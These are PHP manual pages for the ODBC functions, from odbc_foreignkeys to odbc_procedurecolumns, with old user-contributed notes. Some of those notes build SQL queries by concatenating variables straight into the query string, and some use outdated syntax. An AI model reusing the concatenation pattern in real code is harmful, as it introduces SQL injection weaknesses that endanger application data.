LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink
DOUBLE - Double Number
BYTE - Byte Number
not[at]wgpower[dot]net 19-May-2006 05:02
Some fields can be of the following type too : REAL
jazper at lycos dot de 10-Jul-2002 03:30
Returntypes on Access2000
COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink

cheers, j.a.z.


Retrieves a list of foreign keys

  • ? odbc_field_type
  • odbc_free_result ?
  • PHP Manual
  • ODBC 函数
  • Retrieves a list of foreign keys

odbc_foreignkeys

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_foreignkeys — Retrieves a list of foreign keys

说明

odbc_foreignkeys(
resource $odbc,
?string $pk_catalog,
string $pk_schema,
string $pk_table,
string $fk_catalog,
string $fk_schema,
string $fk_table
): resource|false

Retrieves a list of foreign keys in the specified table or a list of foreign keys in other tables that refer to the primary key in the specified table

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

pk_catalog

The catalog ('qualifier' in ODBC 2 parlance) of the primary key table.

pk_schema

The schema ('owner' in ODBC 2 parlance) of the primary key table.

pk_table

The primary key table.

fk_catalog

The catalog ('qualifier' in ODBC 2 parlance) of the foreign key table.

fk_schema

The schema ('owner' in ODBC 2 parlance) of the foreign key table.

fk_table

The foreign key table.

返回值

Returns an ODBC result identifier 或者在失败时返回 false.

The result set has the following columns:

  • PKTABLE_CAT
  • PKTABLE_SCHEM
  • PKTABLE_NAME
  • PKCOLUMN_NAME
  • FKTABLE_CAT
  • FKTABLE_SCHEM
  • FKTABLE_NAME
  • FKCOLUMN_NAME
  • KEY_SEQ
  • UPDATE_RULE
  • DELETE_RULE
  • FK_NAME
  • PK_NAME
  • DEFERRABILITY
Drivers can report additional columns.

If the foreign keys associated with a primary key are requested, the result set is ordered by FKTABLE_CAT, FKTABLE_SCHEM, FKTABLE_NAME and KEY_SEQ. If the primary keys associated with a foreign key are requested, the result set is ordered by PKTABLE_CAT, PKTABLE_SCHEM, PKTABLE_NAME and KEY_SEQ.

If pk_table contains a table name, odbc_foreignkeys() returns a result set containing the primary key of the specified table and all of the foreign keys that refer to it.

If fk_table contains a table name, odbc_foreignkeys() returns a result set containing all of the foreign keys in the specified table and the primary keys (in other tables) to which they refer.

If both pk_table and fk_table contain table names, odbc_foreignkeys() returns the foreign keys in the table specified in fk_table that refer to the primary key of the table specified in pk_table. This should be one key at most.

参见

  • odbc_tables() - Get the list of table names stored in a specific data source
  • odbc_primarykeys() - Gets the primary keys for a table

User Contributed Notes

There are no user contributed notes for this page.


Free resources associated with a result

  • ? odbc_foreignkeys
  • odbc_gettypeinfo ?
  • PHP Manual
  • ODBC 函数
  • Free resources associated with a result

odbc_free_result

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_free_result — Free resources associated with a result

说明

odbc_free_result(resource $statement): bool

Free resources associated with a result.

odbc_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script is finished.

参数

statement

The result identifier.

返回值

Always returns true.

注释

Note:

If auto-commit is disabled (see odbc_autocommit()) and you call odbc_free_result() before committing, all pending transactions are rolled back.

User Contributed Notes

sergio.deleon at techoblige 28-Mar-2018 10:18
MDBTools driver needs you to properly free up a result_id before reusing a variable.
An odbc_fetch_array() over a overwritten variable with a new result will crash the script with a Segmentation fault if the previous resource wasn't free'd up.

PHP 5.6


Retrieves information about data types supported by the data source

  • ? odbc_free_result
  • odbc_longreadlen ?
  • PHP Manual
  • ODBC 函数
  • Retrieves information about data types supported by the data source

odbc_gettypeinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_gettypeinfo — Retrieves information about data types supported by the data source

说明

odbc_gettypeinfo(resource $odbc, int $data_type = 0): resource|false

Retrieves information about data types supported by the data source.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

data_type

The data type, which can be used to restrict the information to a single data type.

返回值

Returns an ODBC result identifier or false on failure.

The result set has the following columns:

  • TYPE_NAME
  • DATA_TYPE
  • PRECISION
  • LITERAL_PREFIX
  • LITERAL_SUFFIX
  • CREATE_PARAMS
  • NULLABLE
  • CASE_SENSITIVE
  • SEARCHABLE
  • UNSIGNED_ATTRIBUTE
  • MONEY
  • AUTO_INCREMENT
  • LOCAL_TYPE_NAME
  • MINIMUM_SCALE
  • MAXIMUM_SCALE

The result set is ordered by DATA_TYPE and TYPE_NAME.

User Contributed Notes

andrea dot galli at acotel dot com 29-Apr-2003 09:45
Example: display all data types

<?php

     $Link_ID = odbc_connect("DSN", "user", "pass");
     $result = odbc_gettypeinfo($Link_ID);

     odbc_result_all($result);

?>


Handling of LONG columns

  • ? odbc_gettypeinfo
  • odbc_next_result ?
  • PHP Manual
  • ODBC 函数
  • Handling of LONG columns

odbc_longreadlen

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_longreadlen — Handling of LONG columns

说明

odbc_longreadlen(resource $statement, int $length): bool

Controls handling of LONG, LONGVARCHAR and LONGVARBINARY columns. The default length can be set using the uodbc.defaultlrl php.ini directive.

参数

statement

The result identifier.

length

The number of bytes returned to PHP is controlled by the parameter length. If it is set to 0, long column data is passed through to the client (i.e. printed) when retrieved with odbc_result().

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note:

Handling of LONGVARBINARY columns is also affected by odbc_binmode().

User Contributed Notes

Eion Robb 17-Feb-2016 10:26
It's not mentioned in the notes here, but odbc_longreadlen($result, 0); only affects the output from odbc_result().  Setting the read length to 0 (or less than zero) will just output a blank string in the odbc_fetch_object(), odbc_fetch_array() and odbc_result_all() functions
egil at wp dot pl 22-Jul-2009 02:06
I've tried to use a suggestion in the first comment but that didn't actually worked as I would expect... I wanted to get all data no matter how big it is, but strange things happened and I finally found this solution (works fine at least for MS SQL 2000 for at least few MB of binary data):

<?php
// connection
$link = odbc_connect($odbc_source_name, $user, $pass);

// query (note - one row in this example)
$sql = 'SELECT image_data_column FROM some_table WHERE record_id=1';

// run
$result = odbc_exec ($link, $sql)
if (!$result)
{
    trigger_error ('[sql] exec: '.$sql, E_USER_ERROR);
}

// fetch settings
odbc_binmode ($result, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen ($result, 0);

// get contents
ob_start(); // you would probably need to move this inside if you expect more rows
while (odbc_fetch_row($result))
{
    odbc_result($result, 1); // this actually echos all of the contents of the image_data_column
}
odbc_free_result($result);
$contents = ob_get_clean();
?>
php dot net dot notes at webqs dot com 06-Aug-2005 06:12
Hi

If you are experiencing troubles with truncated and/or strangely encoded data when using PHP with MS SQL via ODBC try setting odbc.defaultlrl ( in php.ini or via ini_set() ) to a largish number, say 65536, as stated in the other notes here.
The trick is to know how long your data is going to be, so you may want to provide some overhead. Unfortunately you have to know how long your piece of string is before you cut it.

Doing this will allow your app to read up to this amount in one go. I'm sure there is a reason for this behaviour but I hadn't experienced anything like it in 5 years of MySQL and Postgres development.

If you still experience problems AND are using unicode data in the long column of your table, make sure it is set to type "ntext", if it is "text". MSDN has some info on data types for Unicode data.
This caused about 3 days of headaches for me, "binary" data crashing browsers and cyclical result sets (i.e repeating data after odbc.defaultlrl bytes).

This fix was only found by poking things with sticks.

HTH
jdcard at inreach dot com 08-Dec-2004 09:37
I was reading from a MEMO field (long varchar) in MSAccess, but the data was consistently truncated at 255 characters. I tried all the combinations of odbc_longreadlen() and odbc_binmode()  (and odbc.defaultlrl) that I could think of but none of them resolved the problem.

The only fix that worked was to modify my query from "SELECT Field1, Field2 FROM TableName" to "SELECT * FROM TableName".

I suspect that you could cast the field to force the appropriate data type, but when it finally worked after three days of struggle I didn't even try.
25-Sep-2002 05:00
An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length
jasendorf at lcounty dot com 13-Dec-2000 04:26
I had a heck of a time figuring out what to do with this function.  Here's a little piece of code from Jason Lee which I found that might help someone else...

$cur = odbc_exec($cnx, $query);
if(!$cur) {
/* error handler */
}

odbc_binmode($cur, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen($cur, 16384); /* Allow 16kb thru */

while(odbc_fetch_row($cur)) {
$bigger_than_4096_var = odbc_result($cur, 1);
/* etc... */

Hope this helps someone, John


Checks if multiple results are available

  • ? odbc_longreadlen
  • odbc_num_fields ?
  • PHP Manual
  • ODBC 函数
  • Checks if multiple results are available

odbc_next_result

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

odbc_next_result — Checks if multiple results are available

说明

odbc_next_result(resource $statement): bool

Checks if there are more result sets available as well as allowing access to the next result set via odbc_fetch_array(), odbc_fetch_row(), odbc_result(), etc.

参数

statement

The result identifier.

返回值

Returns true if there are more result sets, false otherwise.

示例

Example #1 odbc_next_result()

<?php
$r_Connection = odbc_connect($dsn, $username, $password);

$s_SQL = <<<END_SQL
SELECT 'A'
SELECT 'B'
SELECT 'C'
END_SQL;

$r_Results = odbc_exec($r_Connection, $s_SQL);

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump first result set";
var_dump($a_Row1, $a_Row2);

echo "Get second results set ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump second result set ";
var_dump($a_Row1, $a_Row2);

echo "Get third results set ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump third result set ";
var_dump($a_Row1, $a_Row2);

echo "Try for a fourth result set ";
var_dump(odbc_next_result($r_Results));
?>

以上示例会输出：

Dump first result set array(1) {
  ["A"]=>
  string(1) "A"
}
bool(false)
Get second results set bool(true)
Dump second result set array(1) {
  ["B"]=>
  string(1) "B"
}
bool(false)
Get third results set bool(true)
Dump third result set array(1) {
  ["C"]=>
  string(1) "C"
}
bool(false)
Try for a fourth result set bool(false)

User Contributed Notes

carlosgoce AT gmail DOT com 30-Apr-2013 04:27
Using dbase always returns false or -1. It won't work. Just like odbc_num_rows.
mypsuedoemail at yahoo dot com 28-May-2006 05:06
This function works exactly like its equivalent Microsoft SQL Server function: mssql_next_result(). The information above is rather vague and a bit misleading, so refer to the mssql version of this function for details on to use it properly.

P.S. It works with stored procedures.


Number of columns in a result

  • ? odbc_next_result
  • odbc_num_rows ?
  • PHP Manual
  • ODBC 函数
  • Number of columns in a result

odbc_num_fields

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_num_fields — Number of columns in a result

说明

odbc_num_fields(resource $statement): int

Gets the number of fields (columns) in an ODBC result.

参数

statement

The result identifier returned by odbc_exec().

返回值

Returns the number of fields, or -1 on error.

User Contributed Notes

There are no user contributed notes for this page.


Number of rows in a result

  • ? odbc_num_fields
  • odbc_pconnect ?
  • PHP Manual
  • ODBC 函数
  • Number of rows in a result

odbc_num_rows

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_num_rows — Number of rows in a result

说明

odbc_num_rows(resource $statement): int

Gets the number of rows in a result. For INSERT, UPDATE and DELETE statements odbc_num_rows() returns the number of rows affected. For a SELECT clause this can be the number of rows available.

参数

statement

The result identifier returned by odbc_exec().

返回值

Returns the number of rows in an ODBC result. This function will return -1 on error.

注释

Note:

Using odbc_num_rows() to determine the number of rows available after a SELECT will return -1 with many drivers.

User Contributed Notes

j.c 10-Feb-2020 02:14
On my server odbc_num_rows() is returning a kind of weird 48bit integer (perhaps it's a 64bit with 16bit heading zeroes...).
I found out that i can obtain the correct value by masking the result with 0xffffffff
<?php
    // your $result=odbc_exec(...)
    $num_rows    =    odbc_num_rows($result) & 0xffffffff;

    echo "this works for me: num rows=$num_rows\n";
?>
tom dot underwood5 at gmail dot com 15-Jan-2019 01:56
sometimes if you are for example using a stored procedure rather than an actual SELECT/INSERT/UPDATE, the odbc_num_rows can return unrealiable numbers (I was getting 3 or 0 for everything). In my case I was able to determine the number of rows with the following:

// Put the data in array

      while ($data[] = odbc_fetch_array($result));

// use native php function to get its size

    $num_rows = count($data);
    echo $num_rows;

Hope this helps someone.
panchome66 at gmail dot com 09-Feb-2014 09:22
Este codigo se probó en SQL Server 2000, no se probó en otras versiones como 2005 o 2008. Aun asi no se aplica para MySQL, porque no existe la tabla "sysindexes":

$cnx = odbc_connect("dbSQLEmpresa","Admin","123");
if ($cnx)
{
    $rs = odbc_exec($cnx, "SELECT * FROM alumnos");
    $f = odbc_num_fields($rs);
    $r = odbc_num_rows($rs);
    $r = LFRJ_odbc_num_rows($cnx,"alumnos");

    echo "<table border = '1'>";
    for ($i = 1; $i <= $f; $i++)
    {
        $n = odbc_field_name($rs, $i);
        echo "<th>", $n, "</th>";
    }
    while(odbc_fetch_row($rs))
    {
        echo "<tr>";
        for ($i = 1; $i <= $f; $i++)
        {
            $d = odbc_result($rs, $i);
            echo "<td>", $d, "</td>";
        }
        echo "</tr>";
    }
    echo "<tr><td colspan = '" . $f . "'>Campos(" . $f . ") Registros(" . $r . ")</td></tr>";
    echo "</table>";
}
odbc_close($cnx);

function LFRJ_odbc_num_rows($cnx,$Tabla)
{
    $rs = odbc_exec($cnx, "SELECT rows FROM sysindexes WHERE id = OBJECT_ID('" . $Tabla . "') AND indid < 2;");
    return odbc_result($rs, 1);
}
johnnyboyct-AT-yahoo.com 19-Jun-2013 05:35
function best_odbc_num_rows($r1)  {
    ob_start(); // block printing table with results
    (int)$number=odbc_result_all($r1);
    ob_clean(); // block printing table with results
    return $number;
}

Above is the best way to count if you are not using something like IBM Netezza and ODBC and not doing more than 100000ish records, otherwise even this method will run out of memory.

IBM Netezza and ODBC will give you counts matching the prefetch setting in the odbc.ini file :( the default is 256 so watch out because it is accurate until that number.
Gerd Christian Kunze 23-Jan-2013 12:34
odbc_num_rows does return -1 when it shouldn't.

i used this code:

<?php
if( odbc_num_rows( $Result ) ) {
   while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
     // do something with $Row
   }
}
else {
   return false;
}
?>

and it didn't work... obviously

but this while loop will skip an empty result set anyway, so i use this:

<?php
while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
  // do something with $Row
}
if( ! odbc_num_rows( $Result ) ) {
   return false;
}
?>

because after processing the $Result with fetch, odbc_num_rows reports the correct count (false|0..n) ... magic :-)
pjavilla at gmail dot com 01-Oct-2012 04:07
When accessing a DB2 database with PHP via the ODBC functions, beware of statements which include references to IBM's LONGDESCRIPTION table (for example, if you were - like myself - digging through IBM's Maximo product). Reading from that table usually requires error suppression, because although it works ODBC will spit out a warning message onscreen.

When you make it part of another query however, ODBC_NUM_ROWS will always return -1. The solution is to keep any queries to LONGDESCRIPTION in a separate standalone query by itself.

However, if you run the query though a previewer like Toad for DB2, using LONGDESCRIPTION in a larger query is fine and does show the results. It's just that you have to break the query up and segregate the query to LONGDESCRIPTION on its own if you are writing ODBC queries for PHP.

Just a quick note for anyone else who found ODBC_NUM_RESULTS normally reliable otherwise but inexplicably always returning -1 under certain circumstances.
walt at brookhouse dot co dot uk 09-Jul-2010 02:45
The easy way to count the rows in an odbc resultset where the driver returns -1 is to let SQL do the work:

<?php

    $conn = odbc_connect("dsn", "", "");
    $rs = odbc_exec($conn, "SELECT Count(*) AS counter FROM tablename WHERE fieldname='" . $value . "'");
    $arr = odbc_fetch_array($rs);
    echo $arr['counter'];

?>
chew_baka at hotmail dot com 18-May-2010 02:44
None of these examples were working for me, so I came up with the following silly procedure that gives me the number of rows.  This example is crude, but you should get the idea.

<?php
$cxn = odbc_connect("ODBC_DSN_NAME", "", "");
$sql = "SELECT * FROM some_table'";
$res = odbc_exec($cxn, $sql);
$items = 0;
 while ($row = odbc_fetch_array($res))
   {
       $items++;
   }
  odbc_free_result($res);
  echo "<br>total No. of rows: $items";
?>
jeff at script-xs dot com 02-Jan-2009 11:34
After minutes of frustration, I realized why odbc_num_rows was not returning the number of affected rows on a prepared update query.  I'm using ODBC to connect to Microsot SQL Server 2005.

My corrected code:

<?php
$query = odbc_prepare($conn, 'UPDATE table SET cat = ? WHERE id = 1');
$result = odbc_execute($query, $category);
$affected = odbc_num_rows($query);
?>

This code works.  I was frustrated that odbc_num_rows($result) didn't work as I expected, but instead required me to pass the original prepared query to this function.
sirio3mil at gmail dot com 17-Jun-2008 09:46
The diference between functions used here are consierable, for example for one table with 36 columns and 806 rows the time to execute two of those functions are this:

function using odbc odbc_result_all take 2,6 seconds
function using odbc_fetch_row take 0,8 seconds
areznik at survdata dot com 30-Nov-2007 10:04
I could have been noted before in this thread but I couldnt find it on my first search.

This function (odbc_num_rows) returns -1 when ODBCing to MS SQL and making it hard to get the number of rows in the returned recordset.

Two workarounds:
   1. When you just need to verify that any rows returned from your query you can use select count(*) as cnt from table and then just get $row['cnt']
   2. When you need to actually loop through the records this function returns number of rows in the recordset if and only if you include ORDER BY clause in your query statement.

That sounds a bit annoying but thats the work around when dealing with MS SQL odbc driver I guess.

It would be beneficial if someone explained how the Order By clause makes the difference.
Nathaniel at comtel dot com dot au 30-Oct-2007 08:57
My development computer is running XP sql2005 while the production copy sits on a server 2003R2 sql2000 computer.

In the course of trying to get this function to work (switching from mssql to odbc) I have discovered that the ODBC driver versions are different between the two OS and that while the newer version (release date 17/2/07) that is able to be installed on 2003 handles this function fine, the older version doesn't.

Microsoft sites suggest that Vista might also handle it (ie have the newer driver). It also says that there are no plans to release the newer driver in a installable package.

http://support.microsoft.com/kb/892854

Will hopefully test with the sql2005 on server 2003R2 in the near future to confirm it is the driver helping here.
pmo@raadvst-consetatDOTbe 16-Oct-2007 02:46
voland's function is simply great.
However, i would recommend the use of ob_end_clean(), to shut down completely the output buffer (can cause weird behaviour).
nielsvandenberge at hotm dot dot dot dot dot com 11-Sep-2007 05:06
I just tried to use the function best_odbc_num_rows($result) from voland at digitalshop dot ru, but it's not working quite well. After executing the function odbc_result_all(); the resultset has to be resetted again.
Resetting it with

odbc_fetch_row($result, 0);

is not working for me.

I think the internal number-value of the odbc_result_all()-function is not resetted, but that's just a guess.

when I execute the function 3 times with a resultset of 17 rows the values: 17, 34 and 51 are returned.

His previous function useful_odbc_num_rows($result) works better (for me).
voland at digitalshop dot ru 26-Mar-2007 07:50
Today we find a BEST way to count number of rows with ODBC!

function best_odbc_num_rows($r1)  {

ob_start(); // block printing table with results

(int)$number=odbc_result_all($r1);

ob_clean(); // block printing table with results

return $number;

}
voland at digitalshop dot ru 05-Mar-2007 05:56
After a hour for a searching a good alter function of odbc_num_rows... i try to write it by mysels:

function useful_odbc_num_rows($result){

   $num_rows=0;

   while($temp = odbc_fetch_into($result, &$counter))

   {
       $num_rows++;
   }

@odbc_fetch_row($result, 0);   // reset cursor

   return $num_rows;
}
dm at personalcomputingsolutions dot co dot uk 07-Feb-2007 01:41
function db_get_row($cur, $rownum){
if (odbc_fetch_into($cur, $row, $rownum)){
        return ($row);
    }else{
        return (FALSE);
}

$i=1;
if (db_get_row($cur,1)){
while ($record=db_get_row($cur,$i++)){
do stuff
}else{
tell the user there are no results
}


Open a persistent database connection

  • ? odbc_num_rows
  • odbc_prepare ?
  • PHP Manual
  • ODBC 函数
  • Open a persistent database connection

odbc_pconnect

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_pconnect — Open a persistent database connection

说明

odbc_pconnect(
string $dsn,
string $user,
string $password,
int $cursor_option = SQL_CUR_USE_DRIVER
): resource|false

Opens a persistent database connection.

This function is much like odbc_connect(), except that the connection is not really closed when the script has finished. Future requests for a connection with the same dsn, user, password combination (via odbc_connect() and odbc_pconnect()) can reuse the persistent connection.

参数

See odbc_connect() for details.

返回值

Returns an ODBC connection, 或者在失败时返回 false. error.

注释

Note: Persistent connections have no effect if PHP is used as a CGI program.

参见

  • odbc_connect() - Connect to a datasource
  • Persistent Database Connections

User Contributed Notes

alberici at to dot infn dot it 15-Jul-2002 04:42
I saw that closing an ODBC persistent connection opened with odbc_pconnect() with odbc_close() doesnt work. Someone here have proposed using odbc_close_all() but wouldnt that close all persistent connections (also others ones !!!) ? What about catching a persistent handle with odbc_connect() and then closing the connection with odbc_close() ? If there are no available handles (for some reason the last pconn has been closed) this approach opens and close a normal single-script connection. Waiting comments...
j_schrab at execpc dot com 16-Jan-2001 09:41
Ok, learning time.  As I was told by the PHP-DevTeam...

Multiple connections are supported, but when you try to connect with exactly the same parameters, an existing
connection will be reused, leading to the behaviour you see.

You can simply omit the calls to odbc_close() since
connections get closed on script termination anyway or better:
Consider making your connection id a global variable or pass
it to your functions.
wls at wwco dot com 11-Aug-2000 07:44
I found that using  odbc_close($odbchandle)  on a connection opened by odbc_pconnect() causes a warning "not a valid ODBC-Link resource".  So you can't just change odbc_connect() to odbc_pconnect() and expect things to work without warning messages.  However, you can use odbc_close_all() and not get a warning.
etsai at email dot com 28-Jun-2000 09:10
The following constants are defined for cursortype:
 - SQL_CUR_USE_IF_NEEDED
 - SQL_CUR_USE_ODBC
 - SQL_CUR_USE_DRIVER
 - SQL_CUR_DEFAULT

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.


Prepares a statement for execution

  • ? odbc_pconnect
  • odbc_primarykeys ?
  • PHP Manual
  • ODBC 函数
  • Prepares a statement for execution

odbc_prepare

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_prepare — Prepares a statement for execution

说明

odbc_prepare(resource $odbc, string $query): resource|false

Prepares a statement for execution. The result identifier can be used later to execute the statement with odbc_execute().

Some databases (such as IBM DB2, MS SQL Server, and Oracle) support stored procedures that accept parameters of type IN, INOUT, and OUT as defined by the ODBC specification. However, the Unified ODBC driver currently only supports parameters of type IN to stored procedures.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

query

The query string statement being prepared.

返回值

Returns an ODBC result identifier if the SQL command was prepared successfully. Returns false on error.

示例

Example #1 odbc_execute() and odbc_prepare() example

In the following code, $success will only be true if all three parameters to myproc are IN parameters:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

If you need to call a stored procedure using INOUT or OUT parameters, the recommended workaround is to use a native extension for your database (for example, oci8 for Oracle).

参见

  • odbc_execute() - Execute a prepared statement

User Contributed Notes

lzsiga at freemail dot c3 dot hu 24-Apr-2019 08:22
The resource returned by odbc_prepare can be freed with odbc_free_result.
bslorence 07-Dec-2006 01:50
Is it just me or is the code above misleading? It makes it look like odbc_execute() returns a resource suitable, say, for passing to one of the odbc_fetch_* functions.

In fact, odbc_execute() returns a boolean, which simply indicates success (TRUE) or failure (FALSE). The variable to pass to odbc_fetch_* is the same one that you pass to odbc_execute():

<?php
$res = odbc_prepare($db_conn, $query_string);
if(!$res) die("could not prepare statement ".$query_string);

if(odbc_execute($res, $parameters)) {
    $row = odbc_fetch_array($res);
} else {
    // handle error
}
?>
Marek 16-Dec-2004 12:59
Use this example for IBM DB/2:

$q = "update TABLE set PASS=? where NAME=?";
$res = odbc_prepare ($con, $q);

$a = "secret"; $b="user";
$exc = odbc_execute($res, array($a, $b));


Gets the primary keys for a table

  • ? odbc_prepare
  • odbc_procedurecolumns ?
  • PHP Manual
  • ODBC 函数
  • Gets the primary keys for a table

odbc_primarykeys

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_primarykeys — Gets the primary keys for a table

说明

odbc_primarykeys(
resource $odbc,
?string $catalog,
string $schema,
string $table
): resource|false

Returns a result identifier that can be used to fetch the column names that comprise the primary key for a table.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance).

table

返回值

Returns an ODBC result identifier 或者在失败时返回 false.

The result set has the following columns:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • KEY_SEQ
  • PK_NAME
Drivers can report additional columns.

The result set is ordered by TABLE_CAT, TABLE_SCHEM, TABLE_NAME and KEY_SEQ.

示例

Example #1 List primary Keys of a Column

<?php
$conn = odbc_connect($dsn, $user, $pass);
$primarykeys = odbc_primarykeys($conn, 'TutorialDB', 'dbo', 'TEST');
while (($row = odbc_fetch_array($primarykeys))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [COLUMN_NAME] => id
    [KEY_SEQ] => 1
    [PK_NAME] => PK__TEST__3213E83FE141F843
)

参见

  • odbc_tables() - Get the list of table names stored in a specific data source
  • odbc_foreignkeys() - Retrieves a list of foreign keys

User Contributed Notes

ewilde aht bsmdevelopment dawt com 11-Jul-2006 03:39
I was trying to find the primary keys from an SQLServer database through the ODBC interface.  Funnily enough, the odbc_primarykeys function doesn't work with SQLServer (at least not my implementation of it).  Fortunately, the sp_keys query is passed through and the answer returned.  This code works (providing you know which database you're dealing with, which is a whole 'nother story).

// If this is SQLServer, we need to do a special operation to get the
// primary keys.
//
// Looks like the implementers of the ODBC interface just blew this
// one off, since the database has a query to return the info and the
// info even comes back with the same column names.
if ($DBType == "SQLServer")
  $KeySel = odbc_exec($DBConn, "sp_pkeys ".$TableName);

// Otherwise, ask the database through ODBC for the primary key
// names.
else $KeySel = odbc_primarykeys($DBConn, $DatabaseName,
  $DatabaseUser, $TableName);

while ($KeySel && ($KeyRec = odbc_fetch_array($KeySel)))
  $KeyCol[$KeyRec["KEY_SEQ"]] = $KeyRec["COLUMN_NAME"];
dan dot scott at ca dot ibm dot com 20-Dec-2004 07:51
Responding to devendra_joshi:

In DB2 Universal Database for Linux, UNIX, and Windows the catalog views are accessed through the SYSCAT schema, not the SYSIBM schema -- so you should be issuing "SELECT * FROM SYSCAT.KEYCOLUSE" to list all of the columns that participate in a given key constraint.

A complete list of the catalog views for DB2 can be referenced at http://publib.boulder.ibm.com/infocenter/db2help/ by searching for 'catalog views' and selecting the top hit.
Rio Bautista (RRIT) 20-Feb-2004 08:08
Sample to get the primary keys of an MSSQL table:

$cn = odbc_connect( "DSN", "sa", "pwd");

$rs = odbc_primarykeys( $cn, "database", "dbo", "table_name");

odbc_result_all($rs);
devendra_joshi at hotmail dot com 11-Jul-2003 02:52
I want a list of primary keys of a table in db2

by using
'select * from SYSIBM.SYSKEYCOLUSE ' query i am getting the result on CLP
but when i am writing it in PHP as follows it returns 0 ROWS.

$mstmt="select * from SYSIBM.SYSKEYCOLUSE";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

where as  if we write this code

$mstmt="select * from SYSIBM.SYSFUNCTIONS";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

it returns the correct data.


Retrieve information about parameters to procedures

  • ? odbc_primarykeys
  • odbc_procedures ?
  • PHP Manual
  • ODBC 函数
  • Retrieve information about parameters to procedures

odbc_procedurecolumns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_procedurecolumns — Retrieve information about parameters to procedures

说明

odbc_procedurecolumns(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $procedure = null,
?string $column = null
): resource|false

Retrieve information about parameters to procedures.

参数

odbc

ODBC 连接标识符，详见 odbc_connect()。

catalog

The catalog ('qualifier' in ODBC 2 parlance).

schema

The schema ('owner' in ODBC 2 parlance). 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

procedure

The proc. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

column

The column. 此参数接受下列查询模式： % 来匹配零到多个字符， _ 来匹配单个字符。

返回值

Returns the list of input and output parameters, as well as the columns that make up the result set for the specified procedures. Returns an ODBC result identifier 或者在失败时返回 false.

The result set has the following columns:

  • PROCEDURE_CAT
  • PROCEDURE_SCHEM
  • PROCEDURE_NAME
  • COLUMN_NAME
  • COLUMN_TYPE
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • NUM_PREC_RADIX
  • NULLABLE
  • REMARKS
  • COLUMN_DEF
  • SQL_DATA_TYPE
  • SQL_DATETIME_SUB
  • CHAR_OCTET_LENGTH
  • ORDINAL_POSITION
  • IS_NULLABLE
Drivers can report additional columns.

The result set is ordered by PROCEDURE_CAT, PROCEDURE_SCHEM, PROCEDURE_NAME and COLUMN_TYPE.

更新日志

版本 | 说明
8.0.0 | Prior to this version, the function could only be called with either one or five arguments.

示例

Example #1 List Columns of a stored Procedure

<?php
$conn = odbc_connect($dsn, $user, $pass);
$columns = odbc_procedurecolumns($conn, 'TutorialDB', 'dbo', 'GetEmployeeSalesYTD;1', '%');
while (($row = odbc_fetch_array($columns))) {
print_r($row);
break; // further rows omitted for brevity
}
?>

以上示例的输出类似于：

Array
(
    [PROCEDURE_CAT] => TutorialDB
    [PROCEDURE_SCHEM] => dbo
    [PROCEDURE_NAME] => GetEmployeeSalesYTD;1
    [COLUMN_NAME] => @SalesPerson
    [COLUMN_TYPE] => 1
    [DATA_TYPE] => -9
    [TYPE_NAME] => nvarchar
    [COLUMN_SIZE] => 50
    [BUFFER_LENGTH] => 100
    [DECIMAL_DIGITS] =>
    [NUM_PREC_RADIX] =>
    [NULLABLE] => 1
    [REMARKS] =>
    [COLUMN_DEF] =>
    [SQL_DATA_TYPE] => -9
    [SQL_DATETIME_SUB] =>
    [CHAR_OCTET_LENGTH] => 100
    [ORDINAL_POSITION] => 1
    [IS_NULLABLE] => YES
)

参见

